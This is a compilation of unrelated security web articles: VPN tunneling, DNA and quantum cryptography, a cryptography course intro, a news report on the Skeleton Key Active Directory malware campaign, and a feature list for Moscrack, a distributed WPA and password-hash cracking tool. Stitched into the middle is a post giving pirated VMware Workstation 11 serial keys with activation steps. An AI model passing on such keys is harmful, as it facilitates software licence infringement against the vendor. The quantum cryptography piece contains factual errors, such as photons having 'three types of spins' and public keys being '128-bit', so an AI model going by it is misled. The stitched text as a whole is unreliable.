1. Introduction The idea of Virtual Private Network (VPN) is to simulate a private network over a public network. A VPN tunnel can be used to securely connect LANs of the company over an insecure Internet (VPN gateways are responsible for making the connection secure). This article describes how tunneling and cryptography can be used to build VPN tunnels without going into the details of existing VPN protocols. 2. TCP/IP model and encapsulation One needs to understand these topics first before tunneling is discussed. There are four layers in the TCP/IP model: Layer 4: Application layer Layer 3: Transport layer Layer 2: Internet layer Layer 1: Network access layer From the point of view of the sender, the data goes through layers 4 ? 1 (1 ? 4 from the perspective of the receiver). L4PDU (Layer 4 Protocol Data Unit) is sent from the application layer to the transport layer. A TCP header is appended to L4PDU and L3PDU (Layer 3 Protocol Data Unit) is created. L3PDU is called segment. Then L3PDU is sent from the transport layer to the Internet layer. IP header is appended to L3PDU and L2PDU (Layer 2 Protocol Data Unit) is created. L2PDU is called datagram. This simplified description shows that L3PDU (segment) becomes a part of the L2PDU (datagram). In fact, the segment is included in the datagram and this inclusion is called encapsulation. Then the datagram is appended with another header and L1PDU (Layer 1 Protocol Data Unit) is created. L1PDU is called frame. Finally the frame is sent via transmission medium in the form of zeros and ones. From the perspective of the receiver, the exact reverse process occurs (layers 1 ? 4) and is called four step decapsulation. 3. VPN tunnel Normally the data of the application layer is encapsulated into the segment of the transport layer which is further encapsulated into the datagram of the Internet layer. Then the frame of the network access layer encapsulates the datagram and finally the bits are transferred via a physical medium. When VPN tunnel is concerned, one datagram (the internal one) is encapsulated in the another datagram (the external one). This encapsulation is used to carry private addresses through the tunnel. We want to carry private IP addresses through the tunnel, because the goal is to connect local area networks (LANs) at both ends of the tunnel. That’s why the external IP (the one which is not tunneled) is a public address used to connect to the VPN gateway and the internal IP (the one which is tunneled) is a private address. Let’s analyze the real world analogy of tunneling to better understand how it works. The car wants to drive from city C1 to city C2 and these cities are separated by the river. The car is loaded into the ship and transported from C1 to C2. This is exactly how the tunneling works. The internal datagram is tunneled inside another datagram that reaches the VPN gateway. Here the internal datagram is extracted and can be sent to another host. Although the private addresses are not routable in the Internet, they can be traversed using this approach. There is one thing missing. We need to make the tunneling secure, and cryptography is used for this purpose. 4. Using crypto to secure the tunnel The intention of this part of the article is to present briefly how crypto can be applied to make the tunnel secure without going into the cryptographic details. First of all we want the authentication to be achieved. Digital certificates can be used for this purpose. Moreover, the communication should be confidential so that unauthorized users can’t see it. The confidentiality can be achieved by symmetric encryption. Before the symmetric encryption happens, the symmetric key needs to be securely distributed. Asymmetric encryption is used for the purpose of key distribution. Let’s assume that A is communicating with B. The symmetric key is generated by A, encrypted with the public key of B and sent to B. Only B can decrypt it, because B is the only one that has the corresponding private key. In addition to this, we want to be sure that the communication has not been modified. HMAC is used for this purpose (hash of the message sent and the symmetric key). The symmetric key can be regenerated periodically. Then it is called a session key (randomly generated and valid only for one session). If an attacker learns the session key, then he can only decipher the messages sent after the last regeneration of the key and before the next regeneration. This is the way Forward Secrecy is achieved. As far as symmetric encryption is considered, some encryption mode is needed to change the ciphertext in a random way in order not to weaken the encryption key. The solution is a cipher block chaining (CBC) mode of encryption. 5. Summary Remote work via VPN is a standard nowadays. VPN simulates a private network (secure) over the public one (insecure). TCP/IP model and encapsulation were presented first. Then it was described how tunneling works. Finally, we’ve seen how cryptography can be used to make the VPN tunnel secure. Source

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What is Cryptography? Cryptography is the science of study of secret writing. It helps in encrypting a plain text message to make it unreadable. It is a very ancient art; the root of its origin dates back to when Egyptian scribes used non-standard hieroglyphs in an inscription. Today, electronic or Internet communication has become more prevalent and a vital part of our everyday life. Securing data at rest and data in transit has been a challenge for organizations. Cryptography plays a very important role in the CIA triad of Confidentiality, Integrity and Availability. It provides mathematical techniques related to aspects of information security such as confidentiality, data integrity, entity authentication, and data origin authentication. Over the ages, these techniques have evolved tremendously with technological advancements and growing computing power. Encryption is a component in cryptography or science of secret communication. The part “en” means “to make” and “crypt” means hidden or secret. Encryption can be defined as a process to make information hidden or secret. In this digital age, encryption is based on two major algorithm. Asymmetric or Public key cryptography: Uses two keys, one is a public encryption key and other is a private decryption key. Symmetric or Secret key cryptography: Uses the same key for encryption and decryption processes. Challenges in traditional cryptography The keys used in modern cryptography are so large, in fact, that a billion computers working in conjunction with each processing a billion calculations per second would still take a trillion years to definitively crack a key. Though this doesn’t seem to be a problem now, it soon will be. Quantum computers are going to replace traditional binary computing in the near future. Since they can operate on the quantum level, these computers are expected to be able to perform calculations and operate at speeds no computer in use now could possibly achieve. So the codes that would take a trillion years to break could possibly be cracked in much less time with quantum computers. Traditional cryptography has the problem of key distribution and eavesdropping. Information security expert Rick Smith points out that the secrecy or strength of a cipher ultimately rests on three major things: The infrastructure it runs in: If the cryptography is implemented primarily in software, then the infrastructure will be the weakest link. If Bob and Alice are trying to keep their messages secret, Tom’s best bet is to hack into one of their computers and steal the messages before they’re encrypted. It’s always going to be easier to hack into a system, or infect it with a virus, than to crack a large secret key. In many cases, the easiest way to uncover a secret key might be to eavesdrop on the user and intercept the secret key when it’s passed to the encryption program. Key size: In cryptography, key size matters. If an attacker can’t install a keystroke monitor, then the best way to crack the ciphertext is to try to guess the key through a “brute-force” trial-and-error search. A practical cipher must use a key size that makes brute-force searching impractical. However, since computers get faster every year, the size of a “borderline safe” key keeps growing. Algorithm quality: Cipher flaws can yield “shortcuts” that allow attackers to skip large blocks of keys while doing their trial-and-error search. For example, the well-known compression utility PKZIP traditionally incorporated a custom-built encryption feature that used a 64-bit key. In theory, it should take 264 trials to check all possible keys. In fact, there is a shortcut attack against PKZIP encryption that only requires 227 trials to crack the ciphertext. The only way to find such flaws is to actually try to crack the algorithm, usually by using tricks that have worked against other ciphers. An algorithm usually only shows its quality after being subjected to such analyses and attacks. Even so, the failure to find a flaw today doesn’t guarantee that someone won’t find one eventually. At present, RSA Key length of 2048 bits is considered “Acceptable”. In 2009, researchers were able to crack a 768-bit RSA key and it remains as the current factoring record for the largest general integer. The Lenstra group estimated that factoring a 1024-bit RSA modulus would be about 1,000 times harder than their record effort with the 768-bit modulus, or in other words, on the same hardware, with the same conditions, it would take about 1,000 times as long. Breaking a 2048 bit key would take about 4.3 billion times longer than doing it for a 1024-bit key. A symmetric key algorithm DES is considered to be insecure now since the 56-bit key size it used was too small. Although DES uses a block size of 64-bit, only 56 bits are actually used by the algorithm; the final 8 bits are used for the parity check. In simple words, traditional cryptography and its security are based on difficult mathematical problems which are mature both in theory and realization. Both the secret-key and public-key methods of cryptology have unique flaws. With growth of computing power, the strength of traditional cryptography might become weak and breakable. DNA Computing A new technique for securing data using the biological structure of DNA is called DNA Computing (A.K.A molecular computing or biological computing). It was invented by Leonard Max Adleman in the year 1994 for solving the complex problems such as the directed Hamilton path problem and the NP-complete problem similar to The Traveling Salesman problem. Adleman is also known as the ‘A’ in the RSA algorithm – an algorithm that in some circles has become the de facto standard for industrial-strength encryption of data sent over the Web. The technique later on was extended by various researchers for encrypting and reducing the storage size of data that made the data transmission over the network faster and secured. DNA can be used to store and transmit data. The concept of using DNA computing in the fields of cryptography and steganography has been identified as a possible technology that may bring forward a new hope for unbreakable algorithms. Strands of DNA are long polymers of millions of linked nucleotides. These nucleotides consist of one of four nitrogen bases, a five carbon sugar and a phosphate group. The nucleotides that make up these polymers are named after the nitrogen base that it consists of: Adenine (A), Cytosine ©, Guanine (G) and Thymine (T). Mathematically, this means we can utilize this 4 letter alphabet ? = {A, G, C, T} to encode information, which is more than enough considering that an electronic computer needs only two digits, 1 and 0, for the same purpose. Advantages of DNA computing Speed – Conventional computers can perform approximately 100 MIPS (millions of instruction per second). Combining DNA strands as demonstrated by Adleman made computations equivalent to 10^9 or better, arguably over 100 times faster than the fastest computer. Minimal Storage Requirements – DNA stores memory at a density of about 1 bit per cubic nanometer, where conventional storage media requires 10^12 cubic nanometers to store 1 bit. Minimal Power Requirements – There is no power required for DNA computing while the computation is taking place. The chemical bonds that are the building blocks of DNA happen without any outside power source. There is no comparison to the power requirements of conventional computers. Multiple DNA crypto algorithms have been researched and published, like the Symmetric and Asymmetric Key Crypto System using DNA, DNA Steganography Systems, Triple Stage DNA Cryptography, Encryption algorithms inspired by DNA, and Chaotic computing. DNA Cryptography can be defined as a technique of hiding data in terms of DNA sequence. In the cryptographic technique, each letter of the alphabet is converted into a different combination of the four bases which make up the human deoxyribonucleic acid (DNA). DNA cryptography is a rapid emerging technology which works on concepts of DNA computing. DNA stores a massive amount of information inside the tiny nuclei of living cells. It encodes all the instructions needed to make every living creature on earth. The main advantages of DNA computation are miniaturization and parallelism of conventional silicon-based machines. For example, a square centimeter of silicon can currently support around a million transistors, whereas current manipulation techniques can handle to the order of 1020 strands of DNA. DNA, with its unique data structure and ability to perform many parallel operations, allows one to look at a computational problem from a different point of view. A simple mechanism of transmitting two related messages by hiding the message is not enough to prevent an attacker from breaking the code. DNA Cryptography can have special advantage for secure data storage, authentication, digital signatures, steganography, and so on. DNA can also be used for producing identification cards and tickets. “Trying to build security that will last 20 to 30 years for a defense program is very, very challenging,” says Benjamin Jun, vice president and chief technology officer at Cryptography Research. Multiple studies have been carried out on a variety of biomolecular methods for encrypting and decrypting data that is stored as a DNA. With the right kind of setup, it has the potential to solve huge mathematical problems. It’s hardly surprising then, that DNA computing represents a serious threat to various powerful encryption schemes. Various groups have suggested using the sequence of nucleotides in DNA (A for 00, C for 01, G for 10, T for 11) for just this purpose. One idea is to not even bother encrypting the information but simply burying it in the DNA so it is well hidden, a technique called DNA steganography. DNA Storage of Data has a wide range of capacity: Medium of Ultra-compact Information storage: Very large amounts of data that can be stored in compact volume A gram of DNA contains 1021 DNA bases = 108 Terabytes of data. A few grams of DNA may hold all data stored in the world. Conclusion DNA cryptography is in its infancy. Only in the last few years has work in DNA computing seen real progress. DNA cryptography is even less well studied, but ramped up work in cryptography over the past several years has laid good groundwork for applying DNA methodologies to cryptography and steganography. Researches and studies are being carried out to identify a better and unbreakable cryptographic standard. A number of schemes have been proposed that offer some level of DNA cryptography, and are being explored. At present, work in DNA cryptography is centered on using DNA sequences to encode binary data in some form or another. Though the field is extremely complex and current work is still in the developmental stages, there is a lot of hope that DNA computing will act as a good technique for Information Security. References An Overview of Cryptography Handbook of Applied Cryptography Encryption vs. Cryptography - What is the Difference? Traditional Cryptology Problems - HowStuffWorks Understanding encryption and cryptography basics https://www.digicert.com/TimeTravel/math.htm http://securityaffairs.co/wordpress/33879/security/dna-cryptography.html http://research.ijcaonline.org/volume98/number16/pxc3897733.pdf http://searchsecurity.techtarget.com/answer/How-does-DNA-cryptography-relate-to-company-information-security http://www.technologyreview.com/view/412610/the-emerging-science-of-dna-cryptography/ Source

Launch the downloaded setup and wait till it loads Continue the setup with your own options and install vmware Right after the installation it will ask for a License key to activate full version Just copy a key from below and paste in the box there Click Enter ! That’s all launch VMware workstation 11 and see about ; its registered Serial Keys CV512-FAW91-085NP-DMXQX-QLHAF AA7DU-APW15-H848Q-P5ZGZ-PCRC2 VU1N2-6DE5N-M8DLQ-AEMEV-XA2Z4 UV3NR-AMZ17-08EZP-9YQQE-MZAY8 GC75U-21E50-M8D5Q-K6YQX-W28V8 Prima cheie am testato cateva minute in urma si merge perfect .

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Introduction In this mini-course, we will learn about various aspects of cryptography. We’ll start with cryptography objectives, the need for it, various types of cryptography, PKI, and we’ll look at some practical usage in our daily digital communication. In this mini-course, I will explain every detail with an example which end users can perform on their machines. What is cryptography and why it is required? Today, digital communication has become far more important than what it was a decade ago. We use internet banking, social networking sites, online shopping, and online business activities. Everything is online these days, but the internet is not the most secure means to conduct all those activities. Nobody would want to do an online transaction with communication from their machine to their bank through an open channel. With cryptography, the channel secured between different entities which helps to do business activity in a more secure fashion. Cryptography is a method of storing and transmitting data in a particular form so that only those for whom it is intended can read it. Cryptography is a broad term which includes sub disciplines and very important concepts such as encryption. Let’s get into the main objectives of cryptography. Cryptography Objectives C-Confidentiality: Ensuring the information exchanged between two parties is confidential between them and is not visible to anyone else. I-Integrity: Ensuring that message integrity is not changed while in transit. A-Availability: Ensuring systems are available to fulfill requests all the time. Here are some additional concepts: Authentication: To confirm someone’s identity with the supplied parameters, such as usernames, passwords, and biometrics. Authorization: The process to grant access to a resource to the confirmed identity based on their permissions. Non-Repudiation: To make sure that only the intended endpoints have sent the message and later cannot deny it. Cryptography key definitions Here’s some cryptographic key terminology: Plaintext: The original raw text document onto which encryption needs to be applied. Ciphertext: When we apply encryption to a plaintext document, the output is ciphertext. Encryption: Encryption is the process of converting plaintext to ciphertext using an encryption algorithm. We have different types of encryption available today like symmetric, asymmetric and hybrid encryption. We will discuss them in depth later in the course. Encryption algorithm: An encryption algorithm is a mathematical procedure for converting plaintext into ciphertext with a key. Various examples of encryption algorithms include RSA, AES, DES, and 3DES. Key-length: Choosing an encryption algorithm with an appropriate keysize is an important decision to make. The strength of the key is usually determined by keysize, or the number of bits. Thus, the larger the bit size of a key, the more difficult it is to break the key. For example, with a key which has a bit length of 5, the key will have only 2^5 or 32 combinations. That’s pretty easy to break considering today’s computation methods. That’s why older algorithms like WEP (40 bits) & DES (56 bits) are considered obsolete and now much more powerful algorithms with larger key sizes, such as AES (128 bits), are now used. Hash: A hash value, also called a message digest, is a number generated from a string of text. As per the hash definition, no two different texts should produce the same hash value. If an algorithm can produce the same hash for a different string of text, then that algorithm is not collision free and can be cracked. Various examples of hash algorithm are MD2, MD5 and SHA-1 etc. Digital signature: Digital signature is the process of making sure that the two entities talking with each other can establish a trust relationship among them. We will take a look at its practical demonstration later in this document. Source Part2 Part3 Part4 Part5

“Quantum cryptography uses photons and physics to generate cryptographic keys” What is quantum cryptography? Quantum cryptography is NOT a new algorithm to encrypt and decrypt data. Rather it is a technique of using photons to generate a cryptographic key and transmit it to a receiver using a suitable communication channel. A cryptographic key plays the most important role in cryptography; it is used to encrypt/decrypt data. Types of cryptography There are two types of cryptography: Symmetric Cryptography Asymmetric Cryptography Symmetric Key Cryptography is also known as Secret Key Cryptography (SKC) where a key (any text, numbers, etc.) is used to encrypt data, and the same key is used to decrypt that data. The smallest change in the secret key will fail to decrypt an encrypted message. For example, text that is encrypted using AES encryption with key Infosec will fail to decrypt another cipher text which was encrypted using key INFOSEC. Asymmetric Key Cryptography is also known as Public Key Cryptography (PKC) where two sets of keys are generated. One is called a public key and other is called a private key. A public key is used to encrypt data whereas a private key is used to decrypt that data. Similar to symmetric cryptography, the smallest change in any of the two keys will make them useless to get the original data. A benefit of asymmetric cryptography is that you can share the public key with the whole world so that they can use it to send you encrypted data. And the private key is stored safely with the owner and is used for decryption. One disadvantage of this type of cryptography is that if your private key is lost or leaked then you will have to generate a new pair of public and private keys. Why do we need quantum cryptography? Every new solution is made because of some problem we have with the current solution. The case is no different with this one. Let us see the problem first. The problem with symmetric cryptography is that the same key is used to both encrypt and decrypt the messages. If for some reason that key is leaked to some third party, then it can be used to decrypt communication between two trusted devices or persons. In the worst case, the communication can be intercepted and altered. Today’s huge computing power (these days even Xbox and PlayStation at homes have huge power) can be used to crack a key used in symmetric cryptography. Another major problem with this type of cryptography is how to decide which key to use and how to share between trusted devices or persons. Imagine a key has to be shared between India and America, then that communication too has to be secured before sharing the key. Coming to the problem of asymmetric cryptography, it is not something we are facing right now, but seeing the pace of changing technology, we will be facing it soon. Most of the keys used in public key cryptography are at least 128-bit keys which are considered to be very strong. An attacker can easily get hold of the public key because it is shared by the user. But to generate a private key for that public key involves huge amounts of calculations with permutations and combinations. At present a supercomputer is what you need to crack a PKC and many years to complete it. But it will become pretty much possible with the use of quantum computers which use quantum physics to operate and have very high efficiency and computation speed. A quantum computer is a theoretical concept right now and will utilize atoms and molecules to perform computing at a very high speed. According to Moore’s Law, in an integrated circuit the number of transistors doubles every 2 years. It means that the speed of computing will increase to a very high level every two years. Right now Intel i7 processor integrated circuit has 1.4 billion transistors. Clearly, in the coming decades computing speed will increase and the age of quantum computers will become a reality. Now from our above discussion it is very clear that the biggest problem with the current cryptographic techniques is keys and their security in transmission. How does quantum cryptography work? In quantum cryptography, the source sends a key to the receiver, and this key can be used to decrypt any future messages that are to be sent. When the key has been successfully sent and received, the next step is to send encrypted data to the receiver and let it decrypt and process that data. Important: the key is the main part of cryptography and should be sent in a very secure manner. Quantum cryptography has a different way of sending the key to the receiver. It uses photons to send a key. What is a photon, and how it is used? A photon is the smallest particle of light. It has three types of spins: Horizontal Vertical Diagonal (Right and Left) A photon has the capability to spin in all three states at the same time. How do we use it in cryptography? Another part of physics and photons is polarization. Polarization can be used to polarize (pass through a filter) a photon so that it has a particular spin, vertical or horizontal or diagonal. Polarization of a photon is performed using polarization filters. Now comes Heisenberg’s Uncertainty Principle, which states that it is impossible to measure together the speed and position of a particle with highest accuracy, and its state will change when measured. In other words, if an eavesdropper intercepts the transmitted photons and passes it through its polarizer, if it is wrong it will make the receiver get the wrong photon. Hence the interception of communication will get detected. It means that if a photon is polarized using say X filter (Diagonal Polarization), then to get the original spin of the photon only X filter can be used. If a + filter (Rectilinear Polarization) is used on the photon, then it will either be absorbed by the filter or the polarized photon, will be of different spin than the original photon. For example, a horizontal spinning photon when passed through a wrong filter will lead to diagonal spin, which is incorrect. The below table shows output spin for used polarization: Polarization Output Spin Rectilinear Polarization (+) Horizontal Spin (–) Vertical Spin (|) Diagonal Polarization (X) Left Diagonal Spin () Right Diagonal Spin (/) How to send data using photons One of the major concerns before using quantum cryptography is how to associate data with photons. This problem can be easily solved by assigning the spin of every photon as 0 or 1. Please see the sample table below: Spin Horizontal Spin (–) Vertical Spin (|) Left Diagonal Spin () Right Diagonal Spin (/) Value 0 1 0 1 magine Alice applies polarizations on photons and gets the spin and keeps a note of it. Every spin has a value associated with it. Please refer to the table below: Do note that Alice is able to find the spin of photon after polarization using four detectors (horizontal, vertical, right diagonal, left diagonal). Now the key in binary format is: 0101100110101011 This binary data can be converted into other formats like string and integer, depending upon choice of the users involved in the communication. Let us assume Alice wants the key to be in integer format, so the key will be: In real world implementation, the key should not be this short in length. How to share and verify the key In the above section, Alice applied polarization and calculated the value of the key, which will be transmitted to Bob. Note that transmission of these photons takes place in optical fiber cables. Alice sends the polarized photons to Bob using a suitable communication channel. Bob is listening for incoming photons and randomly applies any polarization (rectilinear or diagonal) and keeps a note of applied polarization, spin and its value. Now when the transmission has completed, Alice and Bob communicate on a public channel which needs not be encrypted. Bob tells Alice only the polarizations (not the spin or value) he applied in the exactly same sequence, and Alice only says YES/NO. This communication will be something like this: In the above communication, Bob gets to know the wrong polarizations. But do note that we have a problem here which is highlighted in orange color. See that Alice said polarization applied is wrong but the spin Bob received had the same bit value (1) as Alice’s. But Bob has no way to find what value Alice has so he has no other way but to discard his results for wrong polarization. After successful key transmission and fixing of wrong polarization, encrypted data can be sent and decrypted when received. Communication interception If a user is intercepting the communication between sender and receiver, then he will have to randomly apply polarization on the photons sent. After polarization, he will forward it to the original sender. But it is impossible for the eavesdropper to guess all polarizations correctly. So when Bob and Alice validate the polarizations, and Bob fails to decrypt the data, then the interception of communication will get detected. Conclusion Privacy and data security is right now of utmost importance to people. With quantum cryptography, secure transmission of data is possible, and chances of it being intercepted and altered are very low. This technology has been implemented in some areas. But is still under deeper research before being widely implemented. Reference: How Quantum Cryptology Works - HowStuffWorks Source

Enterprise Active Directory administrators need to be on the lookout for anomalous privileged user activity after the discovery of malware capable of bypassing single-factor authentication on AD that was used as part of a larger cyberespionage campaign against a global company based in London. Hackers already on the company’s network via a remote access Trojan (RAT) deployed what’s being called the Skeleton Key malware used to steal legitimate insider credentials in order to steal company data and exfiltrate it to the outside without raising many red flags. Researchers at Dell SecureWorks would not identify the organization, nor provide any indication on the identity or location of the attackers, other than to say that it was not an “ecrime” operation and some of the documents taken would be of interest to entities on the “Pacific rim.” Skeleton Key purposely lacks persistence, said Dell SecureWorks director of technology Don Smith. It is installed as an in-memory patch on an Active Directory domain controller and will not survive a reboot. Granted, Active Directory domain controllers such as the ones compromised in this attack, are not rebooted all that often. “I don’t think it was a mistake [by the attackers]. The people concerned have the capability of making it persistent,” Smith said. “The lack of persistence characterizes the stealthy nature of this operation. If you make it persistent over a reboot, you have to leave something behind in the registry or elsewhere that will make it restart. This is super stealthy and this minimizes their footprint. They rely on their foothold elsewhere in the network, and jump in every time they need to.” With access to Active Directory, the hackers can secure username-password combinations and use those credentials to remotely carry out the rest of their attack authenticated as legitimate users. In the case of the London firm, they were discovered on the network which used password-only authentication for its webmail and VPN remote access. Once inside, they were able to use credentials stolen from critical servers, admin workstations and domain controllers to drop Skeleton Key anywhere else on the network. Dell SecureWorks posted a number of indicators of compromise and YARA detection signatures in a report published this week. A number of file names were also found associated with Skeleton Key, including one suggesting an older variant of the malware exists, one that was compiled in 2012. Dell SecureWorks also said the attackers, once on the network, upload the malware’s DLL file to an already compromised machine and attempt to access admin shares on the domain controllers using a list of stolen admin credentials. If the credentials don’t work, they deploy password-stealing tools to extract admin passwords from memory of another server, the domain admin’s workstation or the targeted domain controllers, Dell SecureWorks said. With access to the controller, Skeleton Key’s DLL is loaded and the attackers use the PsExec utility to remotely inject the Skeleton Key patch and run the malware’s DLL remotely on the target domain controllers. The attackers then use a NTLM password hash to authenticate as any user. The lack of persistence isn’t the only perceived weakness associated with Skeleton Key. Its deployment caused AD domain controller replication issues in regional offices that required a reboot. The frequent reboots were an indication that the attackers were re-implanting Skeleton Key, Smith said, which along with the presence of PsExec or TaskScheduler are other anomalous privileged user activities to be on the lookout for. “This was from about just collecting passwords. Once they injected the hash, they could then walk up to any machine in the network, give any user name and their password and get in,” Smith said. “The bad guys used remote access to authenticate at will. I think that characterizes this attack as a long-running cyberespionage operation. There is a lot of information in the victim organization they’re looking for, and they want to maintain as low a profile as possible to evade discovery. All the espionage activity is carried out as an ordinary user. The challenge as a defender is the need to look for anomalous user behavior, which isn’t all that simple a task.” Source

MOSCRACK Multifarious On-demand Systems Cracker Moscrack is a PERL application designed to facilitate cracking WPA keys in parallel on a group of computers. This is accomplished by use of either Mosix clustering software, SSH or RSH access to a number of nodes. With Moscrack’s new plugin framework, hash cracking has become possible. SHA256/512, DES, MD5 and *Blowfish Unix password hashes can all be processed with the Dehasher Moscrack plugin. Some of Moscrack's features: Basic API allows remote monitoring Automatic and dynamic configuration of nodes Live CD/USB enables boot and forget dynamic node configuration Can be extended by use of plugins Uses aircrack-ng (including 1.2 Beta) by default CUDA/OpenCL support via Pyrit plugin CUDA support via aircrack-ng-cuda (untested) Does not require an agent/daemon on nodes Can crack/compare SHA256/512, DES, MD5 and blowfish hashes via Dehasher plugin Checkpoint and resume Easily supports a large number of nodes Desgined to run for long periods of time Doesn't exit on errors/failures when possible Supports mixed OS/protocol configurations Supports SSH, RSH, Mosix for node connectivity Effectively handles mixed fast and slow nodes or links Architecture independent Supports Mosix clustering software Supports all popular operating systems as processing nodes Node prioritization based on speed Nodes can be added/removed/modified while Moscrack is running Failed/bad node throttling Hung node detection Reprocessing of data on error Automatic performance analysis and tuning Intercepts INT and TERM signals for clean handling Very verbose, doesn't hide anything, logs agressively Includes a "top" like status viewer Includes CGI web status viewer Includes an optional basic X11 GUI Compatibility Moscrack itself should work with any Un*x variant, but it is developed and tested on Linux. Tested platforms for SSH based end nodes: Moscrack Live CD (SUSE) Ubuntu Linux 12.10 x86 64bit Ubuntu Linux 12.04.2 x86 64bit Ubuntu Linux 10.10 x86 64bit Ubuntu Linux 10.10 x86 32bit CentOS Linux 5.5 x86 32bit FreeBSD 8.1 x86 64bit Windows Vista Business 64bit w/Cygwin 1.7.7-1 Windows Vista Business 64bit w/Cygwin 1.7.9 Mac OS X 10.5.6 (iPC OSx86) Solaris Express 11 x64 iPhone 3g iOS 3.2.1 (Jailbroken) Samsung Galaxy S2 SGH-I727R (Cyanogenmod 10 + Linux chroot) Tested platforms for RSH based end nodes: Ubuntu Linux 10.10 x86 64bit Windows Vista Business 64bit w/Cygwin 1.7.7-1 Windows Vista Business 64bit w/Cygwin 1.7.9 Tested platforms for Mosix end nodes: Ubuntu Linux 10.10 x86 64bit Ubuntu Linux 10.10 x86 32bit Tested platforms for Moscrack server: Ubuntu Linux 13.10 x86 64bit Ubuntu Linux 12.10 x86 64bit Ubuntu Linux 10.10 x86 64bit Download: moscrack-2.08b.tar.gz Sources: moscrack | Free Security & Utilities software downloads at SourceForge.net Moscrack